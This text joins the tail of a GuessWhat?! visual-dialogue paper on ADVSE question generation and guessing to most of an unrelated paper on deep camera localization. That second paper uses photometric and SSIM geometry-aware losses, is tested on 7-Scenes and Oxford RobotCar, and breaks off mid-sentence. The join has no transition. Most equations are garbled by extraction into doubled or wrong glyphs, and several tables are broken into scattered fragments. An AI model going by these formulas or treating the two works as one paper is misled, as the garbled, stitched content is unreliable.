5.3 Joint QGen and Guesser
Further, we combine the proposed QGen and Guess model. Both in
the supervised learning and reinforcement learning processes for
QGen, we replace the standard Guesser with our ADVSE-Guesser.
We show the quantitative results Table 1. In SL, the model achieves
the success rate of 54.06% on New object and 50.94% on New game,
which are the best performances in supervised training to the best
we know. In RL, the model achieves the success rate of 73.73% on
New object and 71.27% on New game, which ulteriorly improves the
performance. Overall, jointly using the ADVSE-QGen and ADVSE-
Guesser, we achieve even better performance on GuessWhat?! task.

We give the generated dialogue examples in Figure 5(c). Jointly
using ADVSE-QGen and ADVSE-Guesser generates dialogue in
a more concise way. Still, the dialogue strategy is clear. Take the
middle in Figure 5(c) as an instance. The agent firstly raises question
to figure out the specific category of the target, like "Is a person?",
"Is a truck?". Further, as obtained the positive answer "yes" to "Is
a sheep?", the agent then raises question in a detailed distinctive
way to distinguish among many sheep. It successively asks "On the
left?", "On the Right?", "In the middle?", "In the front?" and finally
reaches the target sheep, which is the middle but back one.

We combine the ADVSE-QGen and ADVSE-Guesser in a rather
simple way in this section while further explorations for jointly
using the two homologous models are expected in the future.

6 CONCLUSIONS
This paper proposes an Answer-Driven Visual State Estimator (AD-
VSE) to impose the significant effect of different answers on vi-
sual information in goal-oriented visual dialogue. First, we capture
the answer-driven effect on visual attention by Answer-Driven
Focusing Attention (ADFA), where whether to hold or shift the
question-related visual attention is determined by different answer
at each turn. Further, in Conditional Visual Information Fusion
(CVIF), we provide two-types of visual information for different QA
state and then conditionally fuse them as the estimation of visual
state. Applying the proposed ADVSE to question generation task
and guess task in Guesswhat?!, we achieve improved accuracy and
qualitative results in comparison to existing state-of-the-art models
on both tasks. Moving forward, we will further explore the poten-
tial improvements of jointly using the homologous ADVSE-QGen
and ADVSE-Guesser.
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3D	Scene	Geometry-Aware	Constraint	for	
Camera	Localization	with	Deep	Learning

  

f1 

Abstract— Camera localization is a fundamental and key 
component of autonomous driving vehicles and mobile robots to 
localize themselves globally for further environment perception, 
path planning and motion control. Recently end-to-end 
approaches based on convolutional neural network have been 
much studied to achieve or even exceed 3D-geometry based 
traditional methods. In this work, we propose a compact 
network for absolute camera pose regression. Inspired from 
those traditional methods, a 3D scene geometry-aware 
constraint is also introduced by exploiting all available 
information including motion, depth and image contents. We 
add this constraint as a regularization term to our proposed 
network by defining a pixel-level photometric loss and an image-
level structural similarity loss. To benchmark our method, 
different challenging scenes including indoor and outdoor 
environment are tested with our proposed approach and state-
of-the-arts. And the experimental results demonstrate 
significant performance improvement of our method on both 
prediction accuracy and convergence efficiency. 

I. INTRODUCTION 

Camera localization, as a foundation for many applications 
such as autonomous driving vehicle and mobile robots, 
estimates camera position and orientation from a query image 
and a pre-built map with scene information. In traditional 
localization framework, this scene information is generally 
presented as sparse key points with 3D information and feature 
descriptor. Camera poses are then estimated from 2D-3D 
matching between query images and a map by applying a 
Perspective-n-Point (PnP) solver accompanied with RANSAC 
[16, 38] strategies for outlier removal. Different methods are 
proposed to improve efficiency and effectiveness of such 2D-
3D matching. For instance, image-level features like bag-of-
words [32, 33], VLAD [34], Fish Vector [36, 37] are usually 
employed for similarity matching between query images and 
keyframes stored during mapping. Due to the image-level 
features retrieval results, matching area can be reduced into top 
N most similar keyframes and their surrounding points, which 
means that only a small 3D submap will participate in 2D-3D 
matching. As an intermediate step, these utilizing keyframes 
retrieval are categorized into retrieval-based approaches [3, 30, 
31]. However direct approaches take advantages of different 
hashing algorithms to match 2D-3D points for computation 
acceleration. Specifically, bag-of-words [32, 33] and LSH [23] 
are two popular hashing methods for camera localization. 
Although many different efforts are made to improve 2D-3D 
matching accuracy, the fact that traditional approaches are 
based on low-level features such as SIFT [11, 1], SURF [25, 
9], ORB [18], etc. makes it difficult to deal with challenging 
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Figure 1: Schematic representation of our proposed self-supervised deep 
learning for camera localization with 3D scene geometry-aware constraint. (a): 
Training flow of our proposed algorithm which requires a pair of RGB images 
and a depth map of one of them. Green rectangles are computational 
components according to predicted poses and depth map without learnable 
parameters. Blue rectangles are networks for pose regression to be trained. 
And yellow rectangles are constraint terms of network. (b): Inference flow of 
camera pose localization. Blue part is network architecture based on the 
ResNet-50 that is a detailed description for the blue part in (a). 

environments like illumination change or seasonal change. 
While learning-based methods aim to regress 6 DoF pose in 

an end-to-end way [5, 6, 17]. Scene information in this case is 
described as neural network weights and mapping step turns 
into a network training process. The first deep learning 
framework PoseNet [2] retrieves camera pose from a single 
image. [29] exploits temporal information for pose estimation 
by utilizing image sequence. [15] introduces the encoder-
decoder architecture into camera localization. Some other 
changes like reasoning about the uncertainty of the estimated 
poses [22] are also proposed. However, all these methods train 
their networks by a naive Euclidean distance between 
prediction and ground truth pose. Inspired from traditional 
methods utilizing 3D geometry information, recently many 
geometry relevant loss functions such as geometric 
consistency error [7, 8], reprojection error [4], relative 
transform error [24] are built as regularization terms. Such 
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methods perform better than those learned from single image 
information. 

We follow prior works of learning-based camera 
localization and further search for more geometric information 
to constraint our model. In addition to standard sensors like 
GPS and camera that usually provide ground truth poses and 
images for localization, depth sensors are also very popular in 
SLAM applications. For indoor situation, we can directly 
obtain depth information from structured light camera, time-
of-flight camera or stereo camera with available depth 
estimation algorithm. For outdoor environment, 3D LIDAR is 
usually employed for both localization and scene perception. 
From 3D geometry knowledge, when a general point in 3D 
scene is viewed in several images, their corresponding pixel 
intensities are supposed to be identical. This property we 
called as photometric consistency. It is the base idea for many 
direct visual odometry methods [3, 19] or SLAM methods [20, 
32 - 35].  

In this paper, we immigrate this idea into a neural network. 
The photometric consistency is described as a photometric loss 
term accompanied with a structured similarity SSIM [10] loss 
function to optimize pose regression with self-supervised 
learning. Meanwhile ground truth pose information and depth 
information (sparse or dense) from whatever depth sensors are 
used during training process only to calculate the photometric 
error loss. It bootstraps the loss function by penalizing pose 
predictions that contradict 3D scene geometry and helps the 
convergence of network. Although many traditional stereo 
methods and learning-based methods can estimate depth 
information, we prefer to use ground truth depth captured by 
robust sensors, considering easy availability of the sensor and 
information accuracy, and also our method does work even 
with very sparse depth information.  

To this end, we make the following contributions 
compared to other works: (i) We propose a deep neural 
network architecture to directly estimate an absolute camera 
pose from an input image. (ii) By utilizing depth sensor 
information, we applied an additional 3D scene geometry-
aware constraint to improve prediction accuracy. As 
mentioned, sparse depth information will be enough to get 
remarkable localization precision increment. This means that   
our method can be adapted with any kind of depth sensors 
(sparse or dense). (iii) We present extensive experimental 
evaluations on both indoor and outdoor datasets to compare 
our approach with state-of-the-art methods. At the same time, 
we demonstrate that the proposed additional 3D scene 
geometry-aware constraint can be easily added into other 
network and make performance improvement. 

II.  RELATED WORK 

Various CNN-based approaches of absolute camera 
localization have been proposed in the literature. In this 
section, some of the techniques developed thus far for 
improving the performance of localization will be discussed. 

CNN-based camera localization was first proposed by 
PoseNet [2] which utilized base architecture of GoogLeNet to 
directly regress 6DoF camera pose with an input RGB image. 
By using Bayesian CNN, the authors extended their work to 
model precision uncertainty [22]. Following approaches, 
mainly differ in underlying base architecture and loss function 
used for training. Melekhov et al. [15] proposed Hourglass 
Network described as a symmetric encoder-decoder structure, 

which is widely used for applications of semantic 
segmentation. Rather than using a single image, Walch et al. 
[13] and Xue et al. [14] introduced Long-Short Term Memory 
(LSTM) to exploit global information by features learning 
from constraint of temporal smoothness of the video stream. 
Valada et al. [7, 8] proposed multitask learning framework for 
visual localization, odometry estimation and semantic 
segmentation. This method, which exploits inter-
dependencies within multitask for the mutual benefit of each 
task, is considered as state-of-the-art since it provides higher 
localization precision than many other CNN-based 
approaches. However, such multitask training process 
requires much ground truth information, especially labeled 
semantic segmentation data causing this approach not flexible 
in many application domains. 

Geometric consistency Constraint is recently used to 
help improving accuracy of pose regression and proved more 
effective than that of using Euclidean distance constraint 
alone. Valada et al. [7, 8] introduced geometric consistency to 
bootstrap loss function by penalizing pose predictions that 
contradict the relative motion. MapNet [24] imposed a 
constraint on relative pose between image pairs for global 
consistency. This method provided stricter constraints 
without any additional input information required as relative 
pose is easily computable by absolute ground truth pose. 
Kendall et al. [4] introduced another geometric loss named 
reprojection error defined as the residual of 3D points 
projected onto 2D image plane using the ground truth and 
predicted pose. All these works are considered to be state-of-
the-art of that time using geometry consistency loss. In our 
work, we explore a 3D scene geometry-aware constraint 
called photometric error constraint. 3D structure information 
is added into this constraint which enforces network not only 
align predicted poses to camera motion but also aggregate 
scene structure model. Compared with the above image-level 
geometry consistency losses, our method makes use of 
geometry information of every 3D point of the scene and 
provides much stronger pixel-level constraint. 

Photometric error constraint is typically used to deal 
with relative pose regression, optical flow estimation and 
depth prediction with supervised or unsupervised learning. 
For instance, Ma et al. [27] explored temporal relations of 
video sequences to provide additional photometric 
supervisions for depth completion network. Zhou et al. [12] 
built CNNs with unsupervised learning of dense depth and 
camera pose with photometric error loss to learn the scene 
level consistent movement governed by camera motion. Yin 
et al. [26] proposed a multitask unsupervised learning method 
of dense depth, optical flow and egomotion prediction, where 
photometric error constraint played an important role to 
enforce consistency between different tasks. Shen et al. [28] 
proposed to bridge the gap between geometric loss and 
photometric loss by introducing the matching loss constrained 
by epipolar geometry. Since photometric error constraint has 
been proved effective for relative pose regression and depth 
prediction, we introduce this photometric error constraint and 
validate its effectiveness on absolute pose prediction. As our 
knowledge, this is the first time that photometric error is 
imposed to solve absolute pose regression problem. 
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III. PROPOSED APPROACH 

Our method is dedicated to absolute pose regression. The 
ground truth pose and depth information will be used during 
training process. Both information are easily available from 
sensors like GPS and depth sensors like RGBD cameras or 
LIDARs. At any inference time, only one image is imported to 
the network to localize the camera itself. In this section, we 
will introduce our pose regressing neural network as first. 
Then we will explain both training and inference framework 
in detail. At training process, three constraints are applied to 
help learning process towards a global minimum: a classic 
Euclidean error to measure distance from prediction to ground 
truth pose as well as two regularization terms formulated as a 
photometric loss and a structural similarity loss. Both 
regularizations try to lead model to obey photometric 
consistency but respectively by pixel-level and image-level. 
Finally, a warping process which is an intermediate step for 
building both terms is also presented. 

A.  Network architecture 
We build a CNN architecture to predict the corresponding 

absolute pose p = [x, q] for a given image, where x denotes 
position and q denotes a unit of quaternion representing 
orientation. We use the first five residual blocks of ResNet-50 
as backbone and modify it by introducing a global average 
pooling layer after the last residual block, and subsequently 
add three fully connected layers with 2048 neurons, 3 neurons 
and 4 neurons respectively. The last two fully connected layers 
separately output the absolute position x and orientation q (see 
Figure 1(b)). Each convolution layer is followed by batch 
normalization and Rectified Linear Unit (ReLU)  

At inference process, only current image is applied to the 
network for regressing 6DoF pose directly (see Figure 1(b)). 
While during training (see Figure 1(a)), two successive images  
𝐼𝐼𝑡𝑡−1  and 𝐼𝐼𝑡𝑡  as well as a depth map of 𝐼𝐼𝑡𝑡−1  and the 
corresponding ground truth poses of 𝐼𝐼𝑡𝑡−1 and 𝐼𝐼𝑡𝑡 are required. 
The network learns weights and predicts absolute pose for both 
images by building Euclidean distant constraint as a loss term 
for each prediction. For a moving camera, two consecutive 
images are usually overlapped and their absolute poses can be 
mutually constrained by 3D scene geometry. In this paper, this 
3D scene geometry-aware constraint is described as 
photometric error and SSIM error. Compared to [24] which 
just employs relative transform as geometry constraint to learn 
absolute pose, in our work, 3D scene geometry-aware 
constraint is employed as a pixel-level loss, exploiting more 
information including relative transform, 3D information and 
pixel intensity to learn camera localization with a global 
optimization directly and efficiently. 

B. Warping computation 
The warping computation from image 𝐼𝐼𝑡𝑡−1  to 𝐼𝐼𝑡𝑡 is 

illustrated in the following: 

𝑢𝑢𝑡𝑡 = 𝐾𝐾𝑇𝑇𝑡𝑡−1
𝑡𝑡 𝐷𝐷𝑡𝑡−1(𝑝𝑝𝑡𝑡−1)𝐾𝐾−1𝑢𝑢𝑡𝑡−1               (1) 

Where 𝑢𝑢𝑡𝑡−1 is a static pixel in previous image 𝐼𝐼𝑡𝑡−1 , its 
warped pixel to current time t is defined as 𝑢𝑢𝑡𝑡. We can easily 
get intrinsic matrix K by camera calibration. The 3D transform 
matrix from previous image to the current 𝑇𝑇𝑡𝑡−1

𝑡𝑡  can be 
computed according to their absolute poses 𝑇𝑇𝑤𝑤

𝑡𝑡−1 and 𝑇𝑇𝑤𝑤
𝑡𝑡 : 

 𝑇𝑇𝑡𝑡−1
𝑡𝑡 = 𝑇𝑇𝑤𝑤

𝑡𝑡 ∗ (𝑇𝑇𝑤𝑤
𝑡𝑡−1 )−1                                (2) 

In warping computation, depth information 𝐷𝐷𝑡𝑡−1(𝑝𝑝𝑡𝑡−1) is 
required for reconstructing 3D structure from 2D image pixels. 
As we explained in the previous section, dense depth 
information is not necessary. So we can extract it from depth 
sensors (structural light cameras, Time-of-flight cameras, 
stereo sensors and 3D LIDAR) or from stereo like depth 
computation algorithms, for example triangulation method of 
matched points from two overlapped images with knowing 
transform between them. However, to make sure not 
introducing extra depth error into our model. We prefer to 
choose robust depth information from a sensor. 

To facilitate gradient computation for backpropagation, we 
create a synthetic image 𝑤𝑤𝑤𝑤𝑤𝑤𝑝𝑝𝑤𝑤𝑤𝑤𝑡𝑡−1 with the same format of 
current image 𝐼𝐼𝑡𝑡  by using bilinear interpolation as sampling 
mechanism for warping. As the warping is fully differentiable, 
we do not need any pre-computation for training and online 
running. Furthermore, no learnable weight or additional 
overhead is required for training and inference. 

C. Loss function 
In this section, constraint terms used for training network 

will be discussed in detail.  In addition to typical Euclidean 
distant constraint, we introduce photometric loss term and 
structure similar loss term based on the warping results. 

Euclidean distant constraint Since we input two 
successive images into the model in parallel during training, 
the Euclidean distant losses for both images are calculated as: 

 𝐿𝐿𝐷𝐷 = 𝐿𝐿𝐷𝐷(𝐼𝐼𝑡𝑡−1) + 𝐿𝐿𝐷𝐷(𝐼𝐼𝑡𝑡)
with

𝐿𝐿𝐷𝐷(𝐼𝐼𝑖𝑖) = ‖𝑥𝑥𝑖𝑖 − �̂�𝑥𝑖𝑖‖2 + 𝛽𝛽‖𝑞𝑞𝑖𝑖 − �̂�𝑞𝑖𝑖‖2 𝑓𝑓𝑓𝑓𝑤𝑤 𝑖𝑖 ∈ {𝑡𝑡 − 1, 𝑡𝑡}
Where 𝑥𝑥𝑖𝑖, 𝑞𝑞𝑖𝑖 are the ground truth position and orientation, 

�̂�𝑥𝑖𝑖 , �̂�𝑞𝑖𝑖  are the predicted position and orientation, and 𝛽𝛽 is a 
weighted parameter to keep the expected values of position 
and orientation errors to be nearly equal and to be trained 
online. This highly strong supervision signal leads pose 
prediction converge to the approximate ground truth. 

Photometric error constraint When there is limited 
change of viewpoint and the environment is assumed to be 
light-invariant, the intensity values of a 3D point in different 
images are supposed to be the same. This photometric 
consistency is used for solving many problems (both 
traditional solution and learning-based solutions) like optical 
flow estimation, depth estimation, visual odometry, etc. Here, 
we employ it for absolute pose estimation. Here the loss 
function is designed as the difference between the 𝑤𝑤𝑤𝑤𝑤𝑤𝑝𝑝𝑤𝑤𝑤𝑤𝑡𝑡−1 
image and current image 𝐼𝐼𝑡𝑡: 

𝐿𝐿𝑃𝑃 = ∑ 𝑀𝑀(𝑢𝑢𝑡𝑡−1
𝑖𝑖,𝑗𝑗 )𝑖𝑖,𝑗𝑗 ‖𝐼𝐼𝑡𝑡(𝑖𝑖, 𝑗𝑗) − 𝑤𝑤𝑤𝑤𝑤𝑤𝑝𝑝𝑤𝑤𝑤𝑤𝑡𝑡−1(𝑖𝑖, 𝑗𝑗)‖1    (5) 

Where 𝑢𝑢𝑡𝑡−1
𝑖𝑖,𝑗𝑗  is the pixel with coordinate (𝑖𝑖, 𝑗𝑗)  in image 

𝐼𝐼𝑡𝑡−1, 𝑀𝑀(𝑢𝑢𝑡𝑡−1
𝑖𝑖,𝑗𝑗 ) is an image mask. The idea is to mask pixels 

without depth information and that do not obey photometric 
consistency. In our case, we mainly use it to mask two types 
of pixels: moving pixels and pixels with invalid depth 
information. The depth validity depends on the acquisition 
methods. For instance, depth from range sensors like LIDAR 
usually has satisfactory accuracy even at a long distance, but 
depth from computation algorithms like stereo-like method is 
much noisy. And many strategies can be applied to remove 
dynamic objects. For example, as long as moving objects are 
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usually vehicles or persons, object detection can be applied in 
advance to remove these moving objects. Moreover, we can 
also ignore the pixels with large photometric errors since these 
pixels are suspectable to violate the consistency principle. 

Minimizing the photometric error takes effect only when the 
warped pixel is very close to the true correspondence. It 
requires predicted pose not far from ground truth. At the early 
epochs of training, Euclidean loss determines the gradient 
direction dominantly as current predicted pose is very different 
from ground truth and therefore photometric loss produces 
only a weak or even bad effects. To this end,  we propose a 
self-adaption strategy: a photometric error is used for back-
propagation only when the projection point 𝑢𝑢𝑡𝑡−1  and  𝑢𝑢𝑡𝑡 
satisfies ‖𝑢𝑢𝑡𝑡 − 𝑢𝑢𝑡𝑡−1‖1 ≤ ℎ (h is a threshold value that highly 
depends on scenes, in our case, h is set as 10). The purpose is 
to maximize the value of photometric loss for optimizing pose 
prediction. 

Structural similarity constraint This constraint tries to 
extract structural information from scene, like the way of 
human visual system. The similarity of two images I_x and I_y 
is formulated as: 

𝑆𝑆𝑆𝑆𝑆𝑆𝑆𝑆(𝑥𝑥, 𝑦𝑦) = (2𝜇𝜇𝑥𝑥𝜇𝜇𝑦𝑦+𝐶𝐶1)(2𝜎𝜎𝑥𝑥𝑦𝑦+𝐶𝐶2)
(𝜇𝜇𝑥𝑥

2+𝜇𝜇𝑦𝑦
2+𝐶𝐶1)(𝜎𝜎𝑥𝑥

2+𝜎𝜎𝑦𝑦
2+𝐶𝐶2)             (6) 

Where 𝐶𝐶1  and  𝐶𝐶2  are constant to keep SSIM valid. The 
SSIM value is [0,1] and high similarity corresponds to a big 
value. An auxiliary constraint that differs 𝑤𝑤𝑤𝑤𝑤𝑤𝑝𝑝𝑝𝑝𝑝𝑝𝑡𝑡−1 image 
and current image 𝑆𝑆𝑡𝑡 is defined by equation (7) in combination 
with photometric error. 

𝐿𝐿𝑆𝑆 = 1−𝑆𝑆𝑆𝑆𝑆𝑆𝑆𝑆(𝑆𝑆𝑡𝑡,   𝑤𝑤𝑤𝑤𝑤𝑤𝑤𝑤𝑤𝑤𝑤𝑤𝑡𝑡−1)
2                     (7) 

The final loss function is defined in formulate (8). It 
contains three loss terms with different weighted parameters 
namely 𝜆𝜆𝐷𝐷 , 𝜆𝜆𝑃𝑃 , 𝜆𝜆𝑆𝑆  to balance every loss term, and constrain 
the weights update together. Both Euclidean distant loss term 
and SSIM loss term are image-level constraints, while 
photometric loss term belongs to a pixel-level constraint, 
which can lead to a more precise accuracy of prediction. 

𝐿𝐿 = 𝜆𝜆𝐷𝐷𝐿𝐿𝐷𝐷 + 𝜆𝜆𝑃𝑃𝐿𝐿𝑃𝑃 + 𝜆𝜆𝑆𝑆𝐿𝐿𝑆𝑆                      (8) 

IV. EXPERIMENT EVALUATION 

In this section, we will present experimental results of our 
proposed method for camera localization in comparison with 
several state-of-the-art works both on indoor and outdoor 
datasets. The results demonstrate that our introduced loss 
terms as well as self-supervised strategy for absolute camera 

localization task are outstanding in prediction accuracy as well 
as training convergence. 

A. Datasets 
Our method is evaluated on a well-known public dataset – 

Microsoft 7-Scene which is a collection of tracked RGB-D 
camera frames [21]. Seven different scenes recorded from a 
handheld Kinect RGB-D camera at 640×480 resolution are 
proposed for evaluation. The dense depth map is directly 
obtained from RGB-D sensors and ground truth camera pose 
is provided by KinectFusion algorithm. The existence of 
motion blur and weak texture under office environment makes 
this 7-scene dataset very challenging and widely evaluated by 
localization and tracking algorithms. To facilitate comparison, 
we take the same training and testing sequence split of each 
scene as other methods did. 

Oxford robotcar dataset [39] contains 100 repetitions of a 
consistent route through central oxford captured twice a week 
over a period of over a year. Different types of data are 
available from multiple sensors including monocular cameras, 
LIDAR, GPS, INS measurements as well as stereo cameras. 
We take sub-dataset LOOP with a total length of 1120m for 
our evaluation. Two subsets overlapping the whole path with 
the same motion direction are used for training and test 
respectively.  

B. Implementation details 
Since [7, 8] demonstrate that neither synthetic pose 

augmentation nor synthetic view augmentation techniques   
yield any performance gain. In some cases, they have even 
negative impacts on pose accuracy. In our experiments, we 
only take proven well-performed preprocessing steps like 
resize of input images into 320×240 and normalization. 

We use the Adam solver for optimization with 𝛽𝛽1 = 0.9, 
𝛽𝛽2 = 0.99, and 𝜀𝜀 = 10−10. We initialize five residual blocks 
with weights of ResNet-50 pre-trained on ImageNet and 
remaining layers with Gaussian distribution, then fine-tuning 
all layers with mini-batch size of 12 and maximum iterations 
of 50 epochs. We apply layers-wise learning rate set that is 
initialized as 8e-4 and 2e-4 for five residual blocks and 
remaining layers respectively. Polynomial decay for learning 
rate is adopt with power = 0.9. The weighted parameters 𝛽𝛽, 𝜆𝜆𝐷𝐷, 
𝜆𝜆𝑃𝑃 , 𝜆𝜆𝑆𝑆  are set as 3, 1, 0.01, 0.1 on all scenes. The work is 
implemented based on Tensorflow deep learning library and 
all the experiments are performed on a NVIDIA Titan V GPU 
with 16GB on-board memory. 

C. Comparison with prior methods 
Our regression method is tested on all scenes of 7-Scene 

dataset to compare with prior CNN-based methods namely 

 Table1: Comparison of median localization error with existing CNN-based models on 7-Scene dataset 

Scene Spatial extent PoseNet 
[2] 

LSTM-Pose 
[13] 

VidLoc 
[29] 

Hourglass 
Pose[15] 

PoseNet2 
[4] 

MapNet 
[24] 

Ours 

Chess 3×2×1 m3 0.32, 8.12° 0.24, 5.77° 0.18, N/A 0.15, 6.53° 0.13, 4.48° 0.08, 3.25° 0.09, 4.39° 
Fire 2.5×1×1 m3 0.47, 14.4° 0.34, 11.9° 0.26,  N/A 0.27, 10.84° 0.27, 11.3° 0.27, 11.69° 0.25, 10.79° 
Heads 2×0.5×1 m3 0.29, 12.0° 0.21, 13.7° 0.14,  N/A 0.19, 11.63° 0.17, 13.0° 0.18, 13.25° 0.14, 12.56° 
Office 2.5×2×1.5 m3 0.48, 7.68° 0.30, 8.08° 0.26,  N/A 0.21, 8.48° 0.19, 5.55° 0.17, 5.15° 0.17, 6.46° 
Pumpkin 2.5×2×1 m3 0.47, 8.42° 0.33, 7.00° 0.36,  N/A 0.25, 7.01° 0.26, 4.75° 0.22, 4.02° 0.19, 5.91° 
RedKitchen 4×3×1.5 m3 0.59, 8.64° 0.37, 8.83° 0.31,  N/A 0.27, 10.15° 0.23, 5.35° 0.23, 4.93° 0.21, 6.71° 
Stairs 2.5×2×1.5 m3 0.47, 13.8° 0.40, 13.7° 0.26,  N/A 0.29, 12.46° 0.35, 12.4° 0.30, 12.08° 0.26, 11.51° 
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PoseNet [2], LSTM-Pose [13], VidLoc [29], Hourglass-Pose 
[15], PoseNet2 [4] and MapNet [24]. Table 1 shows the 
quantitative comparisons of median translation and rotation 
errors for each scene in the datasets. Except that MapNet 
slightly outperforms on chess scene, our method obtains 
better results on most scenes. Moreover, compared to MapNet 
[24] that needs 300 epochs and PoseNet [2] needs more, our 
method takes only 50 epochs iterations to convergence. 

To illustrate our results in detail, several camera pose 
trajectories on test sequences of heads, fire, pumpkin and 
stairs scenes are shown in Figure 2. It is obvious that 
trajectories provided by PoseNet [2] are much noised and 
even fail sharply in some places. MapNet [24] has a stable 
prediction globally but the accuracy is unsatisfactory. In this 
experiment, our method achieves mostly outstanding 
performances both on translation and rotation accuracy. From 
above experiments, our proposed network architecture 
collaborated with introduced photometric error loss term 
exhibits much better performances considering accuracy-
efficiency balance. 

Figure 2: camera localization results on Microsoft 7-Scene. From left to right, 
the four test sequences are heads-01 sequence, fire-04 sequence, pumpkin-01 
sequence and stairs-01 sequence. From top to bottom, the three results are 
from PoseNet [2], MapNet [24] and our method respectively (green for the 
ground truth, red for the prediction). 

D.   Ablation studies 
In this section, the performance of our proposed geometric 

constraint for the absolute camera localization task will be 
studied. To this end, we employ ablation experiments that we 
train different network architectures including GoogLeNet of 
PoseNet and ours with the help of photometric error loss and 
SSIM loss and then compare them with that without 
geometric constraint. From the quantitative results shown in 
Table 2, we can on one hand demonstrate that such 3D scene 
geometry-aware constraint described by a photometric loss 
and a SSIM loss is always helpful as it leads to a better 
performance on prediction accuracy for all scenes. On the 
other hand, this improvement from 3D scene geometry-aware 
constraint is applicable to different network architectures. 
And theoretically we can employ it to any other camera 
localization networks to help learning process converge 
towards global minimization during training. Besides, even 
with one Euclidean loss alone, the results prove that our 

proposed method performs better than PoseNet2 [4] 
optimized by geometric loss. 

Table 2: comparison of median localization error with different network and 
loss terms of network on 7-Scene dataset 

Network PoseNet [2] Ours 
Loss  LD LD + LP + LS LD LD + LP + LS 
Chess 0.32, 

8.12° 
0.11, 
5.11° 

0.10, 
5.38° 

0.09, 
  4.39° 

Fire 0.47, 
14.4° 

0.24, 
11.0° 

0.26, 
13.3° 

0.25, 
  10.79° 

Heads 0.29, 
12.0° 

0.16, 
11.8° 

0.16, 
12.6° 

0.14, 
  12.56° 

Office 0.48, 
7.68° 

0.20, 
8.11° 

0.22, 
8.07° 

0.17, 
  6.46° 

Pumpkin 0.47, 
8.42° 

0.18, 
4.83° 

0.22 
6.80° 

0.19, 
  5.91° 

RedKitchen 0.59, 
8.64° 

0.24, 
7.19° 

0.23, 
8.53° 

0.21, 
  6.71° 

Stairs 0.47, 
13.8° 

0.29, 
10.2° 

0.30, 
11.5° 

0.26, 
  11.51° 

E.  Influence of depth sparsity 
In indoor 7-scene dataset, dense depth maps are available 

directly from depth sensor. While in an outdoor environment 
depth information from other type of depth sensors like 
LIDAR or depth computation algorithms like stereo-like 
methods is usually sparse. Therefore, we discuss the influence 
of depth sparsity on our method and show that the proposed 
approach still works well even with a sparsity of only 20% 
depth information. We evaluate this property on 7-scene 
dataset and the results are shown in Table 3. The original 
depth map generated from Kinect sensor are assumed as 100% 
depth information. We randomly eliminate 40% of depth and 
80% of depth respectively from the initial map, and then test 
our method using the remaining depth information without 
changing other network settings. 

Table3: comparison of median localization error with different levels of 
depth sparsity 

scene 20%-depth 60%-depth 100%-depth 
Chess 0.10, 5.01° 0.10, 4.76° 0.09, 4.39° 
Fire 0.25, 12.81° 0.25, 12.38° 0.25, 10.79° 
Heads 0.16, 13.31° 0.16, 13.45° 0.14, 12.56° 
Office 0.19, 7.79° 0.17, 6.62° 0.17, 6.46° 
Pumpkin 0.21, 4.74° 0.20, 4.84° 0.19, 5.91° 
RedKitchen 0.23, 10.76° 0.22, 10.18° 0.21, 6.71° 
Stairs 0.29, 12.17° 0.28, 12.86° 0.26, 11.51° 

Apparently, more depth information means more 
constraints that will evidently lead to a more precise 
prediction accuracy. But our method slightly outperforms 
event with a sparsity of 20% depth information compared to 
other methods illustrated in Table 1. In summary, our method 
can collaborate with different kinds of depth sensors or any 
well-defined depth computation algorithm. and provide more 
accurate absolute camera pose estimation. 
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F.  Self-supervised learning 
Different from [27], we apply self-supervised learning 

strategy for photometric error and SSIM loss terms at training 
process. This means that absolute poses of image 𝐼𝐼𝑡𝑡−1 and 𝐼𝐼𝑡𝑡 
used for building photometric consistency constraint are both 
predicted by network (see Figure 1(a)). To compared it, we 
change the pose of image 𝐼𝐼𝑡𝑡 directly from ground truth and 
use it to compute relative transform between two images for 
further warping. From the results shown in Table 4, self-
supervised learning strategy outperforms both on rotation and 
translation accuracy. This is partly because we take more 
advantages of data at training process with self-supervised 
learning by back-propagating it twice when it is considered as 
𝐼𝐼𝑡𝑡−1  and also when we treat it as 𝐼𝐼𝑡𝑡 . Furthermore, it helps 
network to learn in a more natural way because camera poses 
are never independent to each other and for more overlapped 
images their corresponding poses are highly relevant by the 
nature of 3D geometry. 

Table 4: comparison of median localization error with different learning 
strategy 

scene Self-supervised learning 
w/o w 

Chess 0.10, 5.26° 0.09, 4.39° 
Fire 0.26, 11.5°   0.25, 10.79° 
Heads 0.16, 13.3°   0.14, 12.56° 
Office 0.18, 7.28° 0.17, 6.46° 
Pumpkin 0.25, 6.34° 0.19, 5.91° 
RedKitchen 0.23, 7.53° 0.21, 6.71° 
Stairs 0.29, 12.8°   0.26, 11.51° 

G.  Outdoor evaluation on Oxford Robotcar Dataset   
Our method is also tested in an outdoor dataset Oxford 

robotcar. Although training subset 2014-05-14-13-59-05 and 
test subset 2014-05-14-13-53-47 are both captured on the 
same day, large illumination change between two sequences 
and motion blur make it very challenging for camera 
localization. 

 
Figure 3: Oxford robotcar dataset raw color image and depth map captured 
by LIDAR. LOOP route subset with a total length of 1120m. 

We firstly align LIDAR with a frontal camera to obtain a 
sparse depth map for image (see Figure 3). To avoid 
introducing too much depth error to our system, we choose 
only nearby 3D points that are less than 20m viewed from 
camera. The results show that our method significantly 

outperforms PoseNet (see Table 5) that is learned on training 
subset using the same network and hyper-parameters setting 
as [2]. Even utilizing Euclidean distant loss term alone, our 
method shows an accuracy increase of 15%. After introducing 
proposed 3D scene geometry-aware constraint, our approach 
provides an accuracy increase of more than 36% compared to 
the baseline PoseNet. To be noted that current depth map has 
a sparsity of less than 5% and it is also suffered from 
alignment noise.  

To sum up, our method is not sensible to environments and 
it provides an apparent accuracy improvement even with 
highly sparse depth information. All these properties make the 
proposed approach suitable for many applications including 
indoor robots and outdoor autonomous vehicles. 

Table 5: comparison of median localization error with different algorithm 
Test subset PoseNet [2] Ours 

 (LD) 
Ours 
(LD+LP+LS) 

2014-05-14-13-53-47 25.59,  
15.96° 

22.09, 
10.60° 

16.28,  
7.17° 

V.   CONCLUSION 
In this paper, we present a novel absolute camera 

localization algorithm. Rather than building a map whose size 
is linearly proportional to the scene size, we train a neural 
network to describe the scene. At the same time, we impose a 
novel 3D scene geometry-aware constraint as loss terms to 
supervise the network training. We believe that such network 
is more representative about 3D scene, motion and image 
information. The experimental results also show that our 
method outperforms prior works. Besides, our comparison 
results illustrate that positive impact is achieved when this 3D 
scene geometry-aware constraint is added into different 
networks. Therefore, we believe the effectiveness of this 
constraint in absolute camera localization algorithms. Last but 
not the least, our method is suitable for many applications like 
indoor mobile robots or outdoor autonomous driving vehicles. 
On these platforms, training data is directly available from 
different sensors and no additional manual annotation is 
